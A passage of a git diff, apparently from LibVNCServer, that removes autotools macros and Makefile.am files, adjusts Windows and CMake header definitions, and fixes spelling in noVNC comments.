\ No newline at end of file diff --git a/m4/ax_prefix_config_h.m4 b/m4/ax_prefix_config_h.m4 deleted file mode 100644 index c17563f..0000000 --- a/m4/ax_prefix_config_h.m4 +++ /dev/null @@ -1,203 +0,0 @@ -# =========================================================================== -# http://www.gnu.org/software/autoconf-archive/ax_prefix_config_h.html -# =========================================================================== -# -# SYNOPSIS -# -# AX_PREFIX_CONFIG_H [(OUTPUT-HEADER [,PREFIX [,ORIG-HEADER]])] -# -# DESCRIPTION -# -# Generate an installable config.h. -# -# A package should not normally install its config.h as a system header, -# but if it must, this macro can be used to avoid namespace pollution by -# making a copy of config.h with a prefix added to all the macro names. -# -# Each "#define SOMEDEF" line of the configuration header has the given -# prefix added, in the same case as the first character of the macro name. -# -# Defaults: -# -# OUTPUT-HEADER = $PACKAGE-config.h -# PREFIX = $PACKAGE -# ORIG-HEADER, from AM_CONFIG_HEADER(config.h) -# -# Your configure.ac script should contain both macros in this order. -# -# Example: -# -# AC_INIT(config.h.in) # config.h.in as created by "autoheader" -# AM_INIT_AUTOMAKE(testpkg, 0.1.1) # makes #undef VERSION and PACKAGE -# AM_CONFIG_HEADER(config.h) # prep config.h from config.h.in -# AX_PREFIX_CONFIG_H(mylib/_config.h) # prep mylib/_config.h from it.. -# AC_MEMORY_H # makes "#undef NEED_MEMORY_H" -# AC_C_CONST_H # makes "#undef const" -# AC_OUTPUT(Makefile) # creates the "config.h" now -# # and also mylib/_config.h -# -# If the argument to AX_PREFIX_CONFIG_H would have been omitted then the -# default output file would have been called simply "testpkg-config.h", -# but even under the name "mylib/_config.h" it contains prefix-defines -# like -# -# #ifndef TESTPKG_VERSION -# #define TESTPKG_VERSION "0.1.1" -# #endif -# #ifndef TESTPKG_NEED_MEMORY_H -# #define TESTPKG_NEED_MEMORY_H 1 -# #endif -# #ifndef _testpkg_const -# #define _testpkg_const _const -# #endif -# -# and this "mylib/_config.h" can be installed along with other header -# files, which is most convenient when creating a shared library (that has -# some headers) whose functionality depends on features detected at -# compile-time. No need to invent some "mylib-confdefs.h.in" manually. -# -# Note that some AC_DEFINEs that end up in the config.h file are actually -# self-referential - e.g. AC_C_INLINE, AC_C_CONST, and the AC_TYPE_OFF_T -# say that they "will define inline|const|off_t if the system does not do -# it by itself". You might want to clean up about these - consider an -# extra mylib/conf.h that reads something like: -# -# #include <mylib/_config.h> -# #ifndef _testpkg_const -# #define _testpkg_const const -# #endif -# -# and then start using _testpkg_const in the header files. That is also a -# good thing to differentiate whether some library-user has starting to -# take up with a different compiler, so perhaps it could read something -# like this: -# -# #ifdef _MSC_VER -# #include <mylib/_msvc.h> -# #else -# #include <mylib/_config.h> -# #endif -# #ifndef _testpkg_const -# #define _testpkg_const const -# #endif -# -# LICENSE -# -# Copyright (c) 2014 Reuben Thomas <rrt@sc3d.org> -# Copyright (c) 2008 Guido U. Draheim <guidod@gmx.de> -# Copyright (c) 2008 Marten Svantesson -# Copyright (c) 2008 Gerald Point <Gerald.Point@labri.fr> -# -# This program is free software; you can redistribute it and/or modify it -# under the terms of the GNU General Public License as published by the -# Free Software Foundation; either version 3 of the License, or (at your -# option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General -# Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program. If not, see <http://www.gnu.org/licenses/>. -# -# As a special exception, the respective Autoconf Macro's copyright owner -# gives unlimited permission to copy, distribute and modify the configure -# scripts that are the output of Autoconf when processing the Macro. You -# need not follow the terms of the GNU General Public License when using -# or distributing such scripts, even though portions of the text of the -# Macro appear in them. The GNU General Public License (GPL) does govern -# all other use of the material that constitutes the Autoconf Macro. -# -# This special exception to the GPL applies to versions of the Autoconf -# Macro released by the Autoconf Archive. When you make and distribute a -# modified version of the Autoconf Macro, you may extend this special -# exception to the GPL to apply to your modified version as well. - -#serial 15 - -AC_DEFUN([AX_PREFIX_CONFIG_H],[dnl -AC_PREREQ([2.62]) -AC_BEFORE([AC_CONFIG_HEADERS],[$0])dnl -AC_CONFIG_COMMANDS(m4_default([$1], [$PACKAGE-config.h]),[dnl -AS_VAR_PUSHDEF([_OUT],[ac_prefix_conf_OUT])dnl -AS_VAR_PUSHDEF([_DEF],[ac_prefix_conf_DEF])dnl -AS_VAR_PUSHDEF([_PKG],[ac_prefix_conf_PKG])dnl -AS_VAR_PUSHDEF([_LOW],[ac_prefix_conf_LOW])dnl -AS_VAR_PUSHDEF([_UPP],[ac_prefix_conf_UPP])dnl -AS_VAR_PUSHDEF([_INP],[ac_prefix_conf_INP])dnl -m4_pushdef([_script],[conftest.prefix])dnl -m4_pushdef([_symbol],[m4_cr_Letters[]m4_cr_digits[]_])dnl -_OUT=`echo m4_default([$1], [$PACKAGE-config.h])` -_DEF=`echo _$_OUT | sed -e "y:m4_cr_letters:m4_cr_LETTERS[]:" -e "s/@<:@^m4_cr_Letters@:>@/_/g"` -_PKG=`echo m4_default([$2], [$PACKAGE])` -_LOW=`echo _$_PKG | sed -e "y:m4_cr_LETTERS-:m4_cr_letters[]_:"` -_UPP=`echo $_PKG | sed -e "y:m4_cr_letters-:m4_cr_LETTERS[]_:" -e "/^@<:@m4_cr_digits@:>@/s/^/_/"` -_INP=`echo "$3" | sed -e 's/ *//'` -if test ".$_INP" = "."; then - for ac_file in : $CONFIG_HEADERS; do test "_$ac_file" = _: && continue - case "$ac_file" in - *.h) _INP=$ac_file ;; - *) - esac - test ".$_INP" != "." && break - done -fi -if test ".$_INP" = "."; then - case "$_OUT" in - */*) _INP=`basename "$_OUT"` - ;; - *-*) _INP=`echo "$_OUT" | sed -e "s/@<:@_symbol@:>@*-//"` - ;; - *) _INP=config.h - ;; - esac -fi -if test -z "$_PKG" ; then - AC_MSG_ERROR([no prefix for _PREFIX_PKG_CONFIG_H]) -else - if test ! -f "$_INP" ; then if test -f "$srcdir/$_INP" ; then - _INP="$srcdir/$_INP" - fi fi - AC_MSG_NOTICE(creating $_OUT - prefix $_UPP for $_INP defines) - if test -f $_INP ; then - AS_ECHO(["s/^@%:@undef *\\(@<:@m4_cr_LETTERS[]_@:>@\\)/@%:@undef $_UPP""_\\1/"]) > _script - AS_ECHO(["s/^@%:@undef *\\(@<:@m4_cr_letters@:>@\\)/@%:@undef $_LOW""_\\1/"]) >> _script - AS_ECHO(["s/^@%:@def[]ine *\\(@<:@m4_cr_LETTERS[]_@:>@@<:@_symbol@:>@*\\)\\(.*\\)/@%:@ifndef $_UPP""_\\1\\"]) >> _script - AS_ECHO(["@%:@def[]ine $_UPP""_\\1\\2\\"]) >> _script - AS_ECHO(["@%:@endif/"]) >> _script - AS_ECHO(["s/^@%:@def[]ine *\\(@<:@m4_cr_letters@:>@@<:@_symbol@:>@*\\)\\(.*\\)/@%:@ifndef $_LOW""_\\1\\"]) >> _script - AS_ECHO(["@%:@define $_LOW""_\\1\\2\\"]) >> _script - AS_ECHO(["@%:@endif/"]) >> _script - # now executing _script on _DEF input to create _OUT output file - echo "@%:@ifndef $_DEF" >$tmp/pconfig.h - echo "@%:@def[]ine $_DEF 1" >>$tmp/pconfig.h - echo ' ' >>$tmp/pconfig.h - echo /'*' $_OUT. Generated automatically at end of configure. '*'/ >>$tmp/pconfig.h - - sed -f _script $_INP >>$tmp/pconfig.h - echo ' ' >>$tmp/pconfig.h - echo '/* once:' $_DEF '*/' >>$tmp/pconfig.h - echo "@%:@endif" >>$tmp/pconfig.h - if cmp -s $_OUT $tmp/pconfig.h 2>/dev/null; then - AC_MSG_NOTICE([$_OUT is unchanged]) - else - ac_dir=`AS_DIRNAME(["$_OUT"])` - AS_MKDIR_P(["$ac_dir"]) - rm -f "$_OUT" - mv $tmp/pconfig.h "$_OUT" - fi - else - AC_MSG_ERROR([input file $_INP does not exist - skip generating $_OUT]) - fi - rm -f conftest.* -fi -m4_popdef([_symbol])dnl -m4_popdef([_script])dnl -AS_VAR_POPDEF([_INP])dnl -AS_VAR_POPDEF([_UPP])dnl -AS_VAR_POPDEF([_LOW])dnl -AS_VAR_POPDEF([_PKG])dnl -AS_VAR_POPDEF([_DEF])dnl -AS_VAR_POPDEF([_OUT])dnl -],[PACKAGE="$PACKAGE"])]) diff --git a/m4/ax_type_socklen_t.m4 b/m4/ax_type_socklen_t.m4 deleted file mode 100644 index 834c4cf..0000000 --- a/m4/ax_type_socklen_t.m4 +++ /dev/null @@ -1,61 +0,0 @@ -# =========================================================================== -# http://www.gnu.org/software/autoconf-archive/ax_type_socklen_t.html -# =========================================================================== -# -# SYNOPSIS -# -# AX_TYPE_SOCKLEN_T -# -# DESCRIPTION -# -# Check whether sys/socket.h defines type socklen_t. Please note that some -# systems require sys/types.h to be included before sys/socket.h can be -# compiled. -# -# LICENSE -# -# Copyright (c) 2008 Lars Brinkhoff <lars@nocrew.org> -# -# This program is free software; you can redistribute it and/or modify it -# under the terms of the GNU General Public License as published by the -# Free Software Foundation; either version 2 of the License, or (at your -# option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General -# Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program. If not, see <http://www.gnu.org/licenses/>. -# -# As a special exception, the respective Autoconf Macro's copyright owner -# gives unlimited permission to copy, distribute and modify the configure -# scripts that are the output of Autoconf when processing the Macro. You -# need not follow the terms of the GNU General Public License when using -# or distributing such scripts, even though portions of the text of the -# Macro appear in them. The GNU General Public License (GPL) does govern -# all other use of the material that constitutes the Autoconf Macro. -# -# This special exception to the GPL applies to versions of the Autoconf -# Macro released by the Autoconf Archive. When you make and distribute a -# modified version of the Autoconf Macro, you may extend this special -# exception to the GPL to apply to your modified version as well. - -#serial 5 - -AU_ALIAS([TYPE_SOCKLEN_T], [AX_TYPE_SOCKLEN_T]) -AC_DEFUN([AX_TYPE_SOCKLEN_T], -[AC_CACHE_CHECK([for socklen_t], ac_cv_ax_type_socklen_t, -[ - AC_TRY_COMPILE( - [#include <sys/types.h> - #include <sys/socket.h>], - [socklen_t len = 42; return 0;], - ac_cv_ax_type_socklen_t=yes, - ac_cv_ax_type_socklen_t=no) -]) - if test $ac_cv_ax_type_socklen_t != yes; then - AC_DEFINE(socklen_t, int, [Substitute for socklen_t]) - fi -]) diff --git a/m4/libgcrypt.m4 b/m4/libgcrypt.m4 deleted file mode 100644 index 831dc0c..0000000 --- a/m4/libgcrypt.m4 +++ /dev/null @@ -1,123 +0,0 @@ -dnl Autoconf macros for libgcrypt -dnl Copyright (C) 2002, 2004 Free Software Foundation, Inc. -dnl -dnl This file is free software; as a special exception the author gives -dnl unlimited permission to copy and/or distribute it, with or without -dnl modifications, as long as this notice is preserved. -dnl -dnl This file is distributed in the hope that it will be useful, but -dnl WITHOUT ANY WARRANTY, to the extent permitted by law; without even the -dnl implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - - -dnl AM_PATH_LIBGCRYPT([MINIMUM-VERSION, -dnl [ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND ]]]) -dnl Test for libgcrypt and define LIBGCRYPT_CFLAGS and LIBGCRYPT_LIBS. -dnl MINIMUN-VERSION is a string with the version number optionalliy prefixed -dnl with the API version to also check the API compatibility. Example: -dnl a MINIMUN-VERSION of 1:1.2.5 won't pass the test unless the installed -dnl version of libgcrypt is at least 1.2.5 *and* the API number is 1. Using -dnl this features allows to prevent build against newer versions of libgcrypt -dnl with a changed API. -dnl -AC_DEFUN([AM_PATH_LIBGCRYPT], -[ AC_ARG_WITH(libgcrypt-prefix, - AC_HELP_STRING([--with-libgcrypt-prefix=PFX], - [prefix where LIBGCRYPT is installed (optional)]), - libgcrypt_config_prefix="$withval", libgcrypt_config_prefix="") - if test x$libgcrypt_config_prefix != x ; then - if test x${LIBGCRYPT_CONFIG+set} != xset ; then - LIBGCRYPT_CONFIG=$libgcrypt_config_prefix/bin/libgcrypt-config - fi - fi - - AC_PATH_TOOL(LIBGCRYPT_CONFIG, libgcrypt-config, no) - tmp=ifelse([$1], ,1:1.2.0,$1) - if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then - req_libgcrypt_api=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\1/'` - min_libgcrypt_version=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\2/'` - else - req_libgcrypt_api=0 - min_libgcrypt_version="$tmp" - fi - - AC_MSG_CHECKING(for LIBGCRYPT - version >= $min_libgcrypt_version) - ok=no - if test "$LIBGCRYPT_CONFIG" != "no" ; then - req_major=`echo $min_libgcrypt_version | \ - sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\1/'` - req_minor=`echo $min_libgcrypt_version | \ - sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\2/'` - req_micro=`echo $min_libgcrypt_version | \ - sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\3/'` - libgcrypt_config_version=`$LIBGCRYPT_CONFIG --version` - major=`echo $libgcrypt_config_version | \ - sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'` - minor=`echo $libgcrypt_config_version | \ - sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\2/'` - micro=`echo $libgcrypt_config_version | \ - sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\3/'` - if test "$major" -gt "$req_major"; then - ok=yes - else - if test "$major" -eq "$req_major"; then - if test "$minor" -gt "$req_minor"; then - ok=yes - else - if test "$minor" -eq "$req_minor"; then - if test "$micro" -ge "$req_micro"; then - ok=yes - fi - fi - fi - fi - fi - fi - if test $ok = yes; then - AC_MSG_RESULT([yes ($libgcrypt_config_version)]) - else - AC_MSG_RESULT(no) - fi - if test $ok = yes; then - # If we have a recent libgcrypt, we should also check that the - # API is compatible - if test "$req_libgcrypt_api" -gt 0 ; then - tmp=`$LIBGCRYPT_CONFIG --api-version 2>/dev/null || echo 0` - if test "$tmp" -gt 0 ; then - AC_MSG_CHECKING([LIBGCRYPT API version]) - if test "$req_libgcrypt_api" -eq "$tmp" ; then - AC_MSG_RESULT([okay]) - else - ok=no - AC_MSG_RESULT([does not match. want=$req_libgcrypt_api got=$tmp]) - fi - fi - fi - fi - if test $ok = yes; then - LIBGCRYPT_CFLAGS=`$LIBGCRYPT_CONFIG --cflags` - LIBGCRYPT_LIBS=`$LIBGCRYPT_CONFIG --libs` - ifelse([$2], , :, [$2]) - if test x"$host" != x ; then - libgcrypt_config_host=`$LIBGCRYPT_CONFIG --host 2>/dev/null || echo none` - if test x"$libgcrypt_config_host" != xnone ; then - if test x"$libgcrypt_config_host" != x"$host" ; then - AC_MSG_WARN([[ -*** -*** The config script $LIBGCRYPT_CONFIG was -*** built for $libgcrypt_config_host and thus may not match the -*** used host $host. -*** You may want to use the configure option --with-libgcrypt-prefix -*** to specify a matching config script. -***]]) - fi - fi - fi - else - LIBGCRYPT_CFLAGS="" - LIBGCRYPT_LIBS="" - ifelse([$3], , :, [$3]) - fi - AC_SUBST(LIBGCRYPT_CFLAGS) - AC_SUBST(LIBGCRYPT_LIBS) -]) @@ -54,6 +54,7 @@ extern "C" #ifdef WIN32 #undef SOCKET +typedef UINT32 in_addr_t; #include <winsock2.h> #ifdef LIBVNCSERVER_HAVE_WS2TCPIP_H #undef socklen_t diff --git a/rfb/rfbclient.h b/rfb/rfbclient.h index d90342b..505dd9c 100644 --- a/rfb/rfbclient.h +++ b/rfb/rfbclient.h @@ -38,8 +38,12 @@ #include <stdio.h> #include <stdlib.h> #include <string.h> +#if LIBVNCSERVER_HAVE_SYS_TIME_H #include <sys/time.h> +#endif +#if LIBVNCSERVER_HAVE_UNISTD_H #include <unistd.h> +#endif #include <rfb/rfbproto.h> #include <rfb/keysym.h> diff --git a/rfb/rfbconfig.h.cmake b/rfb/rfbconfig.h.cmake index 5bd6569..86f7ae3 100644 --- a/rfb/rfbconfig.h.cmake +++ b/rfb/rfbconfig.h.cmake @@ -51,6 +51,9 @@ /* Define to 1 if you have <sys/wait.h> that is POSIX.1 compatible. */ #cmakedefine LIBVNCSERVER_HAVE_SYS_WAIT_H 1 +/* Define to 1 if you have <sys/uio.h> */ +#cmakedefine LIBVNCSERVER_HAVE_SYS_UIO_H 1 + /* Define to 1 if you have the <unistd.h> header file. */ #cmakedefine LIBVNCSERVER_HAVE_UNISTD_H 1 diff --git a/rfb/rfbint.h.cmake b/rfb/rfbint.h.cmake deleted file mode 100644 index 17de6cd..0000000 --- a/rfb/rfbint.h.cmake +++ /dev/null @@ -1,4 +0,0 @@ -#ifndef _RFB_RFBINT_H -#define _RFB_RFBINT_H 1 -/* empty ... */ -#endif diff --git a/rfb/rfbproto.h b/rfb/rfbproto.h index ba643b1..f0d6ea1 100644 --- a/rfb/rfbproto.h +++ b/rfb/rfbproto.h @@ -64,11 +64,9 @@ #if defined(WIN32) && !defined(__MINGW32__) #define LIBVNCSERVER_WORDS_BIGENDIAN -#define rfbBool int +typedef int8_t rfbBool; #include <sys/timeb.h> #include <winsock2.h> -#undef SOCKET -#define SOCKET int #else #include <rfb/rfbconfig.h> #endif diff --git a/test/Makefile.am b/test/Makefile.am deleted file mode 100644 index 3b19d61..0000000 --- a/test/Makefile.am +++ /dev/null @@ -1,27 +0,0 @@ - -if HAVE_LIBJPEG -# TurboJPEG wrapper tests -noinst_PROGRAMS=tjunittest tjbench -tjunittest_SOURCES=tjunittest.c ../common/turbojpeg.c ../common/turbojpeg.h \ - tjutil.c tjutil.h -tjbench_SOURCES=tjbench.c ../common/turbojpeg.c ../common/turbojpeg.h \ - tjutil.c tjutil.h bmp.c bmp.h -tjbench_LDADD=$(LDADD) -lm -endif - -AM_CPPFLAGS = -I$(top_srcdir) -I$(top_srcdir)/common -LDADD = ../libvncserver/libvncserver.la ../libvncclient/libvncclient.la @WSOCKLIB@ - -if HAVE_LIBPTHREAD -BACKGROUND_TEST=blooptest -ENCODINGS_TEST=encodingstest -endif - -copyrecttest_LDADD=$(LDADD) -lm - -check_PROGRAMS=$(ENCODINGS_TEST) cargstest copyrecttest $(BACKGROUND_TEST) \ - cursortest - -test: encodingstest$(EXEEXT) cargstest$(EXEEXT) copyrecttest$(EXEEXT) - ./encodingstest && ./cargstest - diff --git a/test/copyrecttest.c b/test/copyrecttest.c index cd2a504..b3d3ada 100644 --- a/test/copyrecttest.c +++ b/test/copyrecttest.c @@ -2,6 +2,7 @@ #define _BSD_SOURCE #endif #include <rfb/rfb.h> +#define _USE_MATH_DEFINES #include <math.h> static void initBackground(rfbScreenInfoPtr server) diff --git a/webclients/Makefile.am b/webclients/Makefile.am deleted file mode 100644 index 6c2db84..0000000 --- a/webclients/Makefile.am +++ /dev/null @@ -1,4 +0,0 @@ -SUBDIRS = java-applet -DIST_SUBDIRS = java-applet -EXTRA_DIST=index.vnc novnc - diff --git a/webclients/java-applet/Makefile.am b/webclients/java-applet/Makefile.am deleted file mode 100644 index d6d10e4..0000000 --- a/webclients/java-applet/Makefile.am +++ /dev/null @@ -1,5 +0,0 @@ -EXTRA_DIST=VncViewer.jar javaviewer.pseudo_proxy.patch - -SUBDIRS = ssl -DIST_SUBDIRS = ssl - diff --git a/webclients/java-applet/ssl/Makefile.am b/webclients/java-applet/ssl/Makefile.am deleted file mode 100644 index fd1c201..0000000 --- a/webclients/java-applet/ssl/Makefile.am +++ /dev/null @@ -1,2 +0,0 @@ -EXTRA_DIST=VncViewer.jar index.vnc SignedVncViewer.jar proxy.vnc README ss_vncviewer onetimekey UltraViewerSSL.jar SignedUltraViewerSSL.jar ultra.vnc ultrasigned.vnc ultraproxy.vnc - diff --git a/webclients/novnc/include/display.js b/webclients/novnc/include/display.js index a42b854..e255683 100644 --- a/webclients/novnc/include/display.js +++ b/webclients/novnc/include/display.js @@ -76,7 +76,7 @@ var Display; } if (this._prefer_js === null) { - Util.Info("Prefering javascript operations"); + Util.Info("Preferring javascript operations"); this._prefer_js = true; } diff --git a/webclients/novnc/include/ui.js b/webclients/novnc/include/ui.js index 4748ff0..50bbfcb 100644 --- a/webclients/novnc/include/ui.js +++ b/webclients/novnc/include/ui.js @@ -883,7 +883,7 @@ var UI; $D('showKeyboard').className = "noVNC_status_button"; //Weird bug in iOS if you change keyboardVisible //here it does not actually occur so next time - //you click keyboard icon it doesnt work. + //you click keyboard icon it doesn't work. UI.hideKeyboardTimeout = setTimeout(function() { UI.setKeyboard(); },100); }, |